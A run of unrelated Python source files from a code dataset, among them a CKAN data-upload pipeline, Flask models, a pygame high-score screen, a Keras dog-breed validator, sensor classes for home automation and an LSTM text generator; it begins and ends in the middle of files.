utility_belt/gadgets\n #with open(os.path.dirname(os.path.abspath(__file__))+'/ckan_settings.json') as f: # The path of this file needs to be specified.\n\n settings, site, package_id, API_key = get_connection_parameters(server, settings_file_path)\n\n update_method = 'upsert'\n if len(primary_keys) == 0:\n update_method = 'insert'\n\n clear_first = False\n if update_method == 'insert':\n # If the datastore already exists, we need to delete it.\n # We can do this through a CKAN API call (if we know\n # the resource ID) or by setting clear_first = True\n # on the pipeline.\n \n # However, the ETL framework fails if you try to \n # use clear_first = True when the resource doesn't\n # exist, so check that it exists.\n resource_exists = (find_resource_id(site,package_id,kwargs['resource_name'],API_key) is not None)\n if resource_exists:\n clear_first = True\n\n print(\"Preparing to pipe data from {} to resource {} package ID {} on {}, using the update method {} with clear_first = {}\".format(target,list(kwargs.values())[0],package_id,site,update_method,clear_first))\n\n super_pipeline = pl.Pipeline('parking_pipeline',\n 'Pipeline for Parking Data',\n log_status=False,\n settings_file=settings_file_path,\n settings_from_file=True,\n #start_from_chunk=0, # Unsupported by /home/sds25/wprdc-etl/ version of pipeline.\n chunk_size=chunk_size\n ) \\\n .connect(pl.FileConnector, target, encoding='utf-8') \\\n .extract(pl.CSVExtractor, firstline_headers=True) \\\n .schema(schema) \\\n .load(pl.CKANDatastoreLoader, server,\n clear_first=clear_first,\n fields=fields_to_publish,\n #package_id=package_id,\n #resource_id=resource_id,\n #resource_name=resource_name,\n key_fields=primary_keys,\n method=update_method,\n **kwargs)\n\n pipe_output = super_pipeline.run()\n\n package_name = get_package_parameter(site,package_id,'title',API_key)\n\n log = open('uploaded.log', 'w+')\n\n if specify_resource_by_name:\n print(\"Data successfully piped to {}/{}.\".format(package_name,resource_name))\n success = True\n log.write(\"Finished upserting {} at {} \\n\".format(kwargs['resource_name'],datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")))\n else:\n print(\"Data successfully piped to {}/{}.\".format(package_name,kwargs['resource_id']))\n success = True\n log.write(\"Finished upserting {} at {} \\n\".format(kwargs['resource_id'],datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")))\n\n log.close()\n ntf.close()\n assert not os.path.exists(target)\n\n resource_id = find_resource_id(site,package_id,kwargs['resource_name'],API_key)\n\n return success\n\n\ndef main():\n upload_in_chunks = True\n server = \"testbed\"\n resource_id = sys.argv[1]\n filename = None\n if len(sys.argv) > 2:\n filename = sys.argv[2] # Name of the file that contains the data to be uploaded.\n #upload_file_to_CKAN(resource_id,filename) # This functionality would best be reproduced\n #by calling the existing wprdc-etl pipeline library.\n\n############\n\nif __name__ == '__main__':\n main()\n","sub_path":"pipe/pipe_to_CKAN_resource.py","file_name":"pipe_to_CKAN_resource.py","file_ext":"py","file_size_in_byte":11245,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"236063536","text":"\nfrom flask.ext.sqlalchemy import SQLAlchemy\ndb = SQLAlchemy()\n\nclass Note(db.Model):\n __tablename__ = 'notes'\n\n id = db.Column(db.Integer, primary_key=True)\n note = db.Column(db.String())\n created = db.Column(db.DateTime()) \n authorId = db.Column(db.Integer(), db.ForeignKey('users.id'))\n \n def __init__(self, note, created, authorId):\n self.note = note\n self.created = created\n self.authorId = authorId\n\n def __repr__(self):\n return ''.format(self.id)\n\nclass User(db.Model):\n __tablename__ = 'users'\n\n id = db.Column(db.Integer, primary_key = True)\n openid = db.Column(db.String(), index = True)\n name = db.Column(db.String())\n email = db.Column(db.String())\n notes = db.relationship('Note', backref='notes.id', lazy='dynamic')\n\n def __init__(self, name, email, openid):\n self.name = name\n self.email = email\n self.openid = openid\n\n def __repr__(self):\n return ''.format(self.openid)\n\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"550764350","text":"# This package will contain the spiders of your Scrapy project\n#\n# Please refer to the documentation for information on how to create and manage\n# your spiders.\n\nfrom scrapy.spider import BaseSpider\n\n#from scrapy import signals\n#from scrapy.xlib.pydispatch import dispatcher\n\n\nclass RRBaseSpider(BaseSpider):\n\n def __init__(self, *args, **kwargs):\n super(RRBaseSpider, self).__init__(*args, **kwargs)\n #dispatcher.connect(self.spider_closed, signals.spider_closed)\n #dispatcher.connect(self.spider_opened, signals.spider_opened)\n\n self.item_from = kwargs.get(\"item_from\", 0)\n self.item_to = kwargs.get(\"item_to\", 100000)\n","sub_path":"scrapy/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":659,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"304021900","text":"# Write a function named \"add_time\" that can add a duration to a start time and return the result.\n\ndef add_time(start, duration, day=None):\n\n modifiers_later = 0\n days_later = 0\n\n days_of_week = [\n \"Sunday\",\n \"Monday\",\n \"Tuesday\",\n \"Wednesday\",\n \"Thursday\",\n \"Friday\",\n \"Saturday\"\n ]\n\n modifier = start.split(\" \")[1]\n initial_modifier = modifier\n\n start = start.split(\" \")\n start.pop(1)\n start = ''.join(start)\n\n hour = int(start.split(\":\")[0]) + int(duration.split(\":\")[0])\n minute = int(start.split(\":\")[1]) + int(duration.split(\":\")[1])\n\n if minute > 59:\n minute -= 60\n hour += 1\n\n hour_modifier = hour\n\n while hour > 12:\n hour -= 12\n\n while hour_modifier > 11:\n hour_modifier -= 12\n modifier = \"PM\" if modifier == \"AM\" else \"AM\"\n modifiers_later += 1\n\n if modifiers_later % 2 != 0:\n if initial_modifier == \"PM\":\n modifiers_later += 1\n else:\n modifiers_later -= 1\n\n days_later = modifiers_later/2\n\n new_time = f\"{hour}:{str(minute).zfill(2)} {modifier}\"\n\n if day:\n weekday = days_of_week.index(day.title())\n weekday_new = int((weekday + days_later) % 7)\n new_time += f\", {days_of_week[weekday_new]}\"\n\n if days_later == 1:\n new_time += \" (next day)\"\n\n if days_later > 1:\n new_time += f\" ({int(days_later)} days later)\"\n\n return new_time\n\n\n\nprint(add_time(\"3:00 PM\", \"3:10\"))\n# # Returns: 6:10 PM\n#\nprint(add_time(\"11:30 AM\", \"2:32\", \"Monday\"))\n# # Returns: 2:02 PM, Monday\n#\nprint(add_time(\"11:43 AM\", \"00:20\"))\n# # Returns: 12:03 PM\n#\nprint(add_time(\"10:10 PM\", \"3:30\"))\n# # Returns: 1:40 AM (next day)\n#\nadd_time(\"11:43 PM\", \"24:20\", \"tueSday\")\n# # Returns: 12:03 AM, Thursday (2 days later)\n","sub_path":"add_time function.py","file_name":"add_time function.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"633588620","text":"import subprocess\nfrom mosaic.utilities.resource_path import resource_path\n\ntry:\n\t__version__=subprocess.check_output(['git', 'describe', '--abbrev=0', '--tags'], stderr=subprocess.STDOUT).strip().lstrip('v')\nexcept:\n\t__version__=\"\"\n\ntry:\n\tif not __version__:\n\t\twith open( resource_path('version-hash'), 'r' ) as f:\n\t\t\t__version__=f.read().strip()\t\t\nexcept:\n\t__version__=\"\"\n\ntry:\n\t__build__=subprocess.check_output(['git', 'rev-parse', '--short', 'HEAD'], stderr=subprocess.STDOUT).strip()\nexcept:\n\t__build__=\"\"\n\ntry:\n\tif not __build__:\n\t\twith open( resource_path('commit-hash'), 'r' ) as f:\n\t\t\t__build__=f.read().strip()\nexcept:\n\t__build__=\"\"\n","sub_path":"mosaic/_version.py","file_name":"_version.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"388629310","text":"from catboost import CatBoostRegressor\nimport pandas as pd\n\n\ndef apartments_predict(walls_material, floor_number, floors_total, total_area,\n kitchen_area, distance, azimuth) -> float:\n model = CatBoostRegressor()\n model.load_model('apartments_model')\n data = {\n 'wallsMaterial': [walls_material],\n 'floorNumber': [floor_number],\n 'floorsTotal': [floors_total],\n 'totalArea': [total_area],\n 'kitchenArea': [kitchen_area],\n 'distance': [distance],\n 'azimuth': [azimuth]\n }\n df = pd.DataFrame(data)\n return model.predict(df)[0]\n","sub_path":"apartments.py","file_name":"apartments.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"543288036","text":"import os\nimport pygame\nimport operator\nfrom choose_menu import ChooseMenu\nfrom settings import IMAGE_PATH, FPS, WIN_WIDTH, WIN_HEIGHT, RECORD_PATH, COLOR_INACTIVE, COLOR_ACTIVE, game_status, user_info, SOUND_PATH, music\nfrom button import Buttons\nfrom color_settings import *\n\narial=pygame.font.match_font('arial')\nFONT_BIG = pygame.font.Font(arial, 50)\nFONT_SMALL = pygame.font.Font(arial, 35)\n\n\ndef show_player(which: int) -> list:\n '''指定要讀取第幾個txt檔'''\n\n which_file = ['records.txt', 'records2.txt', 'records3.txt']\n last_records = ''\n # 絕對路徑！\n with open(os.path.join(RECORD_PATH, which_file[which]), 'rt') as file:\n records = file.readlines()\n for line in records:\n last_records += f'{line}'\n\n last_records = last_records.split('\\n')\n last_records.pop(-1)\n last_records_list = []\n for i in last_records:\n name, score = i.split('--')\n last_records_list.append((name, float(score)))\n last_records_list = sorted(\n last_records_list, key=operator.itemgetter(1)) # sorted scores\n person_to_show = []\n for line in range(len(last_records_list)):\n each = f'{line+1}. {last_records_list[line]}s'\n new_each = ''\n for i in each:\n if i not in (\"(\", \")\", \"'\"):\n new_each += i\n person_to_show.append(new_each)\n return person_to_show\n\n\ndef draw_text(screen, text, x, y, size: int):\n '''畫布/文字/座標/字體大小'''\n FONT = pygame.font.Font(arial, size)\n txt_surface = FONT.render(str(text), True, WHITE)\n screen.blit(txt_surface, (x, y))\n\n\nclass InputBox:\n\n def __init__(self):\n self.rect = pygame.Rect((WIN_WIDTH/2)-100, (WIN_HEIGHT/3)-30, 140, 40)\n self.color = COLOR_INACTIVE\n self.text = '' # user's name\n self.txt_surface = FONT_BIG.render(self.text, True, self.color)\n self.active = False\n\n def handle_event(self, event):\n if event.type == pygame.MOUSEBUTTONDOWN:\n # If the user clicked on the input_box rect.\n if self.rect.collidepoint(event.pos):\n # Toggle the active variable.\n self.active = not self.active\n else:\n self.active = False\n # Change the current color of the input box.\n self.color = COLOR_ACTIVE if self.active else COLOR_INACTIVE\n if event.type == pygame.KEYDOWN:\n if self.active:\n if event.key == pygame.K_RETURN:\n print(f'player: {self.text}')\n user_info['user_name'] = self.text\n\n c = ChooseMenu()\n c.run()\n game_status['go_input_window'] = True\n\n elif event.key == pygame.K_BACKSPACE:\n self.text = self.text[:-1]\n else:\n self.text += event.unicode\n # Re-render the text.\n self.txt_surface = FONT_SMALL.render(\n self.text, True, self.color)\n\n def update(self):\n # Resize the box if the text is too long.\n width = max(200, self.txt_surface.get_width()+10)\n self.rect.w = width\n\n def draw(self, screen):\n # Blit the text.\n screen.blit(self.txt_surface, (self.rect.x+5, self.rect.y+5))\n # Blit the rect.\n pygame.draw.rect(screen, self.color, self.rect, 2)\n\n def get_text(self):\n return self.text\n\n\nclass Input_window:\n def __init__(self, screen):\n self.screen = screen\n\n self.bg = pygame.transform.scale(pygame.image.load(os.path.join(\n IMAGE_PATH, \"level_background.png\")), (WIN_WIDTH, WIN_HEIGHT))\n self.back_image = pygame.transform.scale(\n pygame.image.load(os.path.join(IMAGE_PATH, \"back.png\")), (80, 80))\n self.clock = pygame.time.Clock()\n self.input_box1 = InputBox()\n self.input_boxes = [self.input_box1]\n self.intro_text_1 = 'Input Name To Save Record'\n self.intro_text_2 = 'Hit `ENTER` When Ready'\n self.intro_text_3 = 'Highest scores:'\n self.intro_text_4 = 'Level 1'\n self.intro_text_5 = 'Level 2'\n self.intro_text_6 = 'Level 3'\n self.back_btn = Buttons(5, 5, 80, 80)\n self.buttons = [self.back_btn]\n\n def back_or_not(self, x, y):\n if self.back_btn.clicked(x, y):\n pygame.mixer.music.stop()\n self.play_music()\n if music[\"mute\"]:\n pygame.mixer.music.pause()\n return True\n return False\n\n def play_music(self):\n pygame.mixer.music.load(os.path.join(SOUND_PATH, \"menu1.mp3\"))\n pygame.mixer.music.set_volume(0.3)\n pygame.mixer.music.play(-1)\n\n def run(self):\n while game_status[\"run\"] and not game_status[\"go_start_menu\"]:\n game_status[\"go_input_window\"] = False\n x, y = pygame.mouse.get_pos()\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n game_status[\"run\"] = False\n\n if event.type == pygame.MOUSEBUTTONDOWN:\n if self.back_or_not(x, y):\n game_status[\"go_start_menu\"] = True\n\n for box in self.input_boxes:\n box.handle_event(event)\n\n for box in self.input_boxes:\n box.update()\n\n self.screen.blit(self.bg, (0, 0))\n self.screen.blit(self.back_image, (5, 5))\n for bt in self.buttons:\n x, y = pygame.mouse.get_pos()\n bt.create_frame(x, y)\n bt.draw_frame(self.screen)\n draw_text(self.screen, self.intro_text_1,\n WIN_WIDTH/2 - 220, (WIN_HEIGHT/3)-150, size=50)\n draw_text(self.screen, self.intro_text_2,\n WIN_WIDTH/2 - 200, (WIN_HEIGHT/3)-100, size=50)\n draw_text(self.screen, self.intro_text_3,\n WIN_WIDTH/2 - 130, (WIN_HEIGHT/2)-70, size=50)\n\n # level 1\n draw_text(self.screen, self.intro_text_4,\n WIN_WIDTH/4 - 190, WIN_HEIGHT/2, size=50)\n for i in range(len(show_player(0))):\n draw_text(\n self.screen, show_player(0)[i], WIN_WIDTH/4 - 190, WIN_HEIGHT/2+50+(i*50), 30)\n\n # level 2\n draw_text(self.screen, self.intro_text_5,\n WIN_WIDTH/3 + 70, WIN_HEIGHT/2, size=50)\n for i in range(len(show_player(1))):\n draw_text(\n self.screen, show_player(1)[i], WIN_WIDTH/3 + 70, WIN_HEIGHT/2+50+(i*50), 30)\n\n # level 3\n draw_text(self.screen, self.intro_text_6,\n WIN_WIDTH/2 + 210, WIN_HEIGHT/2, size=50)\n for i in range(len(show_player(2))):\n draw_text(\n self.screen, show_player(2)[i], WIN_WIDTH/2 + 210, WIN_HEIGHT/2+50+(i*50), 30)\n\n for box in self.input_boxes:\n box.draw(self.screen)\n\n for box in self.input_boxes:\n box.update()\n\n pygame.display.update()\n self.clock.tick(FPS)","sub_path":"user_record/user_record.py","file_name":"user_record.py","file_ext":"py","file_size_in_byte":7178,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"246672383","text":"# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\n\nimport csv\nfrom datetime import datetime\nfrom collections import namedtuple, defaultdict\nfrom matplotlib import pyplot\n\n\nLogLine = namedtuple(\"LogLine\", [\"timestamp\", \"op_code\", \"value\"])\n\n\ndef parse_time(time_string):\n return datetime.strptime(time_string, \"%H:%M:%S.%f\")\n\n\nwith open(\"co2datalog.csv\", \"r\", newline=\"\") as csvfile:\n data_rows = csv.reader(csvfile)\n\n def transform_csv_data(row):\n return LogLine(timestamp=parse_time(row[0]),\n op_code=int(row[1]),\n value=int(row[2]))\n\n log_data = list(map(transform_csv_data, data_rows))\n\nprint(log_data[0])\n\ndef sort_by_op_code(log_data):\n table = defaultdict(list)\n for x in log_data:\n table[x.op_code].append(x)\n\n return table\n\nlog_table = sort_by_op_code(log_data)\n\nprint(log_table.keys())\n\ndef plot_log_table(log_table):\n pyplot.figure()\n for op_code_table in log_table.values():\n x_data = list(map(lambda x: x.timestamp, op_code_table))\n y_data = list(map(lambda x: x.value, op_code_table))\n pyplot.plot(x_data, y_data, '+',\n label=\"{0:x}\".format(op_code_table[0].op_code))\n\n pyplot.legend()\n \ndef split_log_table(keys, log_table):\n positive_table = {}\n negative_table = {}\n\n for k, v in log_table.items():\n if k in keys:\n positive_table[k] = v\n else:\n negative_table[k] = v\n\n return positive_table, negative_table\n\nco2_table, other_table = split_log_table([0x71, 0x50], log_table)\n\nwiggling_table, other_table = split_log_table([0x6e, 0x4f], other_table)\n\n# plot_log_table(log_table)\n\n# plot_log_table(co2_table)\nplot_log_table(wiggling_table)\nplot_log_table(other_table)\n\n\npyplot.show()\n","sub_path":"data_analysis.py","file_name":"data_analysis.py","file_ext":"py","file_size_in_byte":1785,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"607197756","text":"from tensorflow.keras.models import load_model\nfrom tensorflow.keras.applications.inception_v3 import preprocess_input\nimport numpy as np\nfrom utils import load_image_from_path,plot_images_with_class\nimport pandas as pd\nfrom breeds.breeds import dogs_breeds\nfrom tqdm import tqdm\nimport os\n\nmodel=load_model(os.path.join('models','dogs_classifier.h5'))\nmodel.summary()\n\ntesting=pd.read_csv(os.path.join(\"data\",\"test.csv\"))\ntotal=len(testing)\n\ncorrect=0\nwrong=0\nwrong_entries=[]\n\nfor image,breed in tqdm(testing.values):\n\tdog_image=load_image_from_path(image,target_size=(299,299))\n\tdog_image=np.expand_dims(dog_image, axis=0)\n\tprocessed_image=preprocess_input(dog_image)\n\tprediction=model.predict(processed_image)\n\tindex=np.argmax(prediction[0])\n\tlabel=dogs_breeds[index]\n\tif label==breed:\n\t\tcorrect+=1\n\telse:\n\t\twrong+=1\n\t\twrong_entries.append((image,breed,label))\n\nprint(\"Total Testing Data= \",total)\nprint(\"Total Correct Predictions= \",correct)\nprint(\"Total Wrong Predictions= \",wrong)\nprint(\"Accuracy %= \",(correct/total)*100)\nprint(\"Wrong %= \",(wrong/total)*100)\n\ndog_images=[load_image_from_path(dogs[0]) for dogs in wrong_entries]\ntrue_cls=[cls_true[1] for cls_true in wrong_entries]\npred_cls=[cls_pred[2] for cls_pred in wrong_entries]\nplot_images_with_class(dog_images,cls_true=true_cls, cls_pred=pred_cls)\n","sub_path":"Classifier Training/validation.py","file_name":"validation.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"481548719","text":"import argparse\nimport re\nimport string\nimport time\nimport torch\nimport torch.nn as nn\n\nimport data\nimport model\n\nparser = argparse.ArgumentParser(description='PyTorch PennTreeBank RNN/LSTM Language Model')\nparser.add_argument('--data', type=str, default='data/penn/',\n help='location of the data corpus')\nparser.add_argument('--model', type=str, default='LSTM',\n help='type of recurrent net (LSTM, QRNN, GRU)')\nparser.add_argument('--emsize', type=int, default=400,\n help='size of word embeddings')\nparser.add_argument('--nhid', type=int, default=1150,\n help='number of hidden units per layer')\nparser.add_argument('--nlayers', type=int, default=3,\n help='number of layers')\nparser.add_argument('--lr', type=float, default=30,\n help='initial learning rate')\nparser.add_argument('--clip', type=float, default=0.25,\n help='gradient clipping')\nparser.add_argument('--epochs', type=int, default=8000,\n help='upper epoch limit')\nparser.add_argument('--batch_size', type=int, default=80, metavar='N',\n help='batch size')\nparser.add_argument('--bptt', type=int, default=70,\n help='sequence length')\nparser.add_argument('--dropout', type=float, default=0.4,\n help='dropout applied to layers (0 = no dropout)')\nparser.add_argument('--dropouth', type=float, default=0.3,\n help='dropout for rnn layers (0 = no dropout)')\nparser.add_argument('--dropouti', type=float, default=0.65,\n help='dropout for input embedding layers (0 = no dropout)')\nparser.add_argument('--dropoute', type=float, default=0.1,\n help='dropout to remove words from embedding layer (0 = no dropout)')\nparser.add_argument('--wdrop', type=float, default=0.5,\n help='amount of weight dropout to apply to the RNN hidden to hidden matrix')\nparser.add_argument('--seed', type=int, default=1111,\n help='random seed')\nparser.add_argument('--nonmono', type=int, default=5,\n help='random seed')\nparser.add_argument('--cuda', action='store_false',\n help='use CUDA')\nparser.add_argument('--log-interval', type=int, default=200, metavar='N',\n help='report interval')\nrandomhash = ''.join(str(time.time()).split('.'))\nparser.add_argument('--save', type=str, default=randomhash+'.pt',\n help='path to save the final model')\nparser.add_argument('--alpha', type=float, default=2,\n help='alpha L2 regularization on RNN activation (alpha = 0 means no regularization)')\nparser.add_argument('--beta', type=float, default=1,\n help='beta slowness regularization applied on RNN activiation (beta = 0 means no regularization)')\nparser.add_argument('--wdecay', type=float, default=1.2e-6,\n help='weight decay applied to all weights')\nparser.add_argument('--resume', type=str, default='',\n help='path of model to resume')\nparser.add_argument('--optimizer', type=str, default='sgd',\n help='optimizer to use (sgd, adam)')\nparser.add_argument('--when', nargs=\"+\", type=int, default=[-1],\n help='When (which epochs) to divide the learning rate by 10 - accepts multiple')\nargs = parser.parse_args()\nargs.tied = True\n\nimport os\nimport hashlib\nfn = 'corpus.{}.data'.format(hashlib.md5(args.data.encode()).hexdigest())\nif os.path.exists(fn):\n print('Loading cached dataset...')\n corpus = torch.load(fn)\nelse:\n print('Producing dataset...')\n corpus = data.Corpus(args.data)\n torch.save(corpus, fn)\n\nntokens = len(corpus.dictionary)\nmodel = model.RNNModel(args.model, ntokens, args.emsize, args.nhid, args.nlayers, args.dropout, args.dropouth, args.dropouti, args.dropoute, args.wdrop, args.tied)\n\nif args.cuda:\n model = model.cuda(3)\n\ndef model_load(fn):\n global model, criterion, optimizer\n with open(fn, 'rb') as f:\n model, criterion, optimizer = torch.load(f)\n\ndef new_tokenize(text):\n words = text.split()\n ids = torch.LongTensor(len(words))\n token = 0\n for word in words:\n if word in corpus.dictionary.word2idx:\n ids[token] = corpus.dictionary.word2idx[word]\n else:\n ids[token] = corpus.dictionary.word2idx['']\n token += 1\n return ids\n\ndef play(text, batch_size=1):\n model.eval()\n text = text.lower()\n text = re.sub('\\d+', 'N', text)\n punc = string.punctuation.replace(\".\", \"’—“”\")\n punc = punc.replace(\"'\", \"\")\n text = text.translate(str.maketrans('', '', punc))\n text = text.replace(\"n't\", \" n't\")\n text = text.replace(\"'s\", \" 's\")\n text = text.replace(\"'ve\", \" 've\")\n text = text.replace(\"'d\", \" 'd\")\n text = text.replace(\"'ll\", \" 'll\")\n data = new_tokenize(text).unsqueeze(1).cuda()\n hidden = model.init_hidden(batch_size)\n output, hidden = model(data, hidden)\n logits = model.decoder(output)\n logProba = nn.functional.log_softmax(logits, dim=1)\n unk_idx = corpus.dictionary.word2idx['']\n mini = torch.min(logProba)\n logProba[:,unk_idx] = mini\n pred_idxs = torch.argmax(logProba, dim=1)\n preds = [corpus.dictionary.idx2word[idx] for idx in pred_idxs]\n next_word = preds[-1]\n return next_word\n\n# Load the best saved model.\nmodel_load(args.save)\n\nwhile True:\n text = input(\"Hey, enter part of a sentence here: \")\n next_word = play(text)\n for i in range(70):\n text = text + \" \" + next_word\n next_word = play(text)\n print(\"Here's what we got:\\n:\", text)\n again = input(\"Press enter to play again! \")\n if again != \"\":\n break","sub_path":"play.py","file_name":"play.py","file_ext":"py","file_size_in_byte":5764,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"173576017","text":"import urllib2\nimport json\nclass Suggester(object):\n pass\n @property\n def keyword(self):\n return self.key\n @keyword.setter\n def keyword(self, value):\n self.key = value\n\n\n @property\n def suggestions(self):\n array = []\n url = 'http://suggest-market.yandex.ru/suggest-market?srv=market&part=' + self.key + '&pos=3&_=1419492563373'\n text = urllib2.urlopen(url).read().decode('utf-8')\n #text = page.read().decode('cp1251')\n c = json.loads(text)\n for i in c[1]:\n array.append(i)\n return array\n\n\ns = Suggester()\ns.key = 'диор'\nfor i in s.suggestions:\n print(i)\n \n","sub_path":"yandex.py","file_name":"yandex.py","file_ext":"py","file_size_in_byte":661,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"525833284","text":"#Creating simple currency converter\n\n#Gather the parameter of interest\n#Construct the URL and send a GET request to it\n#For unsuccessful requests, print the error message\n#For successful request: extract the relevant data and calculate the result\n#Display the result to the user\n\nimport requests\n\nbase_url=\"https://api.exchangerate.host/\"\n\ndate=input(\"Please enter the date (in format 'yyyy-mm-dd' or 'latest'): \")\nbase=input(\"Convert from (currency): \")\ncurr=input(\"Convert to (currency): \")\nquantity=float(input(f'How much {base} you want to convert: '))\n\nurl=base_url + date + \"?base=\" + base + \"&symbol=\" +curr\n\nresponse=requests.get(url)\n\nif (response.ok==False):\n print(f'\\nError {response.status_code}')\n print(response.json()['error'])\nelse:\n data=response.json()\n rate=data['rates'][curr]\n\n result=quantity * rate\n\n print(f'{quantity} {base} is equal to {result} {curr}, based upon exchange rates on {date}')\n","sub_path":"Currency Converter.py","file_name":"Currency Converter.py","file_ext":"py","file_size_in_byte":936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"195454637","text":"from swampy.TurtleWorld import *\n\nworld = TurtleWorld()\nbob = Turtle()\n\n\ndef draw_square(t, length):\n\n for i in range(4):\n fd(t, length)\n lt(t)\n\n\ndraw_square(bob, 35)\n\nwait_for_user()\n","sub_path":"ch4/4.3.py","file_name":"4.3.py","file_ext":"py","file_size_in_byte":201,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"619113154","text":"from abc import abstractmethod\nfrom de.dm.automation.devices.virtual_devices import VirtualDevice\n\n__author__ = 'd.muth'\n\n\nclass SensorDevice(VirtualDevice):\n @abstractmethod\n def get_sensor_value(self, **kwargs):\n \"\"\"\n Returns the actual sensor value (e.g. rainfall in mm the last hour).\n The returned datatype is not restricted.\n :return: Returns the actual sensor value.\n \"\"\"\n pass\n\n @staticmethod\n def get_hour_arg(__default=12, **kwargs):\n hours = __default\n try:\n if 'hours' in kwargs:\n hours = int(kwargs['hours'])\n except ValueError:\n hours = __default\n\n return hours\n\n @staticmethod\n def get_default_arg(__type, __default=0, **kwargs):\n res = __default\n try:\n if 'default' in kwargs:\n res = __type(kwargs['default'])\n except ValueError:\n res = __default\n\n return res\n\n\nclass WeatherRainfallSensor(SensorDevice):\n\n def __init__(self, config, device_name, connector):\n \"\"\"\n Constructor.\n :param config: The application config.\n :param device_name: The name of the device.\n :param connector: The openweather implementation to use.\n :return:\n \"\"\"\n super(WeatherRainfallSensor, self).__init__(config, device_name)\n self.connector = connector\n\n def get_sensor_value(self, **kwargs):\n \"\"\"\n Utilizes the given conntector to retrieve the rainfall in l/m2 for the last 12h by default. If the\n parameter key 'hours' is given the rainfall is calculated for that value instead.\n :return: Returns the rainfall in l/m2 for the last hours.\n \"\"\"\n hours = SensorDevice.get_hour_arg(12, **kwargs)\n default = SensorDevice.get_default_arg(int, 0, **kwargs)\n stats = self.connector.get_weather(hours=hours)\n\n return reduce(lambda x, y: x+y, [s.rainfall_in_mm for s in stats], default)\n\n\nclass TemperatureMeanSensor(SensorDevice):\n def __init__(self, config, device_name, connector):\n \"\"\"\n Constructor.\n :param config: The application config.\n :param device_name: The name of the device.\n :param connector: The openweather implementation to use.\n :return:\n \"\"\"\n super(TemperatureMeanSensor, self).__init__(config, device_name)\n self.connector = connector\n\n def get_sensor_value(self, **kwargs):\n \"\"\"\n Utilizes the given connector to retrieve the average temperature.\n \"\"\"\n hours = SensorDevice.get_hour_arg(12, **kwargs)\n default = SensorDevice.get_default_arg(int, 10, **kwargs)\n stats = self.connector.get_weather(hours=hours)\n stats.sort(key=lambda tup: tup[0])\n\n sum_of_temps = 0\n cnt = 0\n for i in range(len(stats)):\n current_ts = stats[i].timestamp\n current_temperature = stats[i].temperature\n next_ts = stats[i + 1].timestamp if (i + 1) < len(stats) else current_ts + 15 * 60\n lasted_minutes = int((next_ts - current_ts) / 60)\n\n sum_of_temps += current_temperature * lasted_minutes\n cnt += lasted_minutes\n\n return default if cnt == 0 else sum_of_temps / cnt\n\n\nclass TemperatureForecastSensor(SensorDevice):\n def __init__(self, config, device_name, connector):\n \"\"\"\n Constructor.\n :param config: The application config.\n :param device_name: The name of the device.\n :param connector: The openweather implementation to use.\n :return:\n \"\"\"\n super(TemperatureForecastSensor, self).__init__(config, device_name)\n self.connector = connector\n\n def get_sensor_value(self, **kwargs):\n \"\"\"\n Utilizes the given connector to retrieve the average temperature.\n \"\"\"\n hours = SensorDevice.get_hour_arg(3, **kwargs)\n default = SensorDevice.get_default_arg(int, 10, **kwargs)\n stats = self.connector.get_forecast(hours=hours)\n\n if len(stats) == 0:\n return default\n else:\n stats.sort(key=lambda tup: tup[0])\n return stats[-1].temperature\n","sub_path":"src/main/python/de/dm/automation/devices/sensor_devices.py","file_name":"sensor_devices.py","file_ext":"py","file_size_in_byte":4205,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"303740181","text":"import torch\n#torch.manual_seed(442)\n\nfrom read_data import load, PAD_TOK\nfrom lstm import Seq2Seq\nimport time\nfrom tqdm import tqdm\n\nHIDDEN_SIZE = 64\nLEARNING_RATE = 0.5\nN_EPOCHS = 25\n\ndef calc_accuracy(output, target, pad_ind=0):\n _, preds = output.max(1)\n correct_count = 0\n total_count = 0\n for i in range(preds.shape[0]):\n for j in range(preds.shape[1]):\n if target[i, j] != pad_ind:\n total_count += 1\n if target[i, j] == preds[i, j]: correct_count += 1\n return correct_count / total_count\n\ndef train(data_iterable, model, opt, loss_func, pad_ind=0):\n # turn on dropouts, if you use them\n # model.train()\n epoch_losses = []\n epoch_accuracies = []\n num_batches = len(data_iterable)\n for batch in tqdm(data_iterable):\n opt.zero_grad()\n output = model.forward(batch.sent_1, batch.sent_2)\n loss = loss_func(output, batch.sent_2[1:])\n accuracy = calc_accuracy(output, batch.sent_2[1:], pad_ind=pad_ind)\n loss.backward()\n # TODO: clipping?\n opt.step()\n epoch_losses.append(loss)\n epoch_accuracies.append(accuracy)\n avg_loss = sum(epoch_losses)/len(epoch_losses)\n avg_accuracy = sum(epoch_accuracies)/len(epoch_accuracies)\n return avg_loss, avg_accuracy\n\ndef pad_out(output, target, pad_ind):\n output = output[:min(output.shape[0], target.shape[0]), :, :]\n new_out = 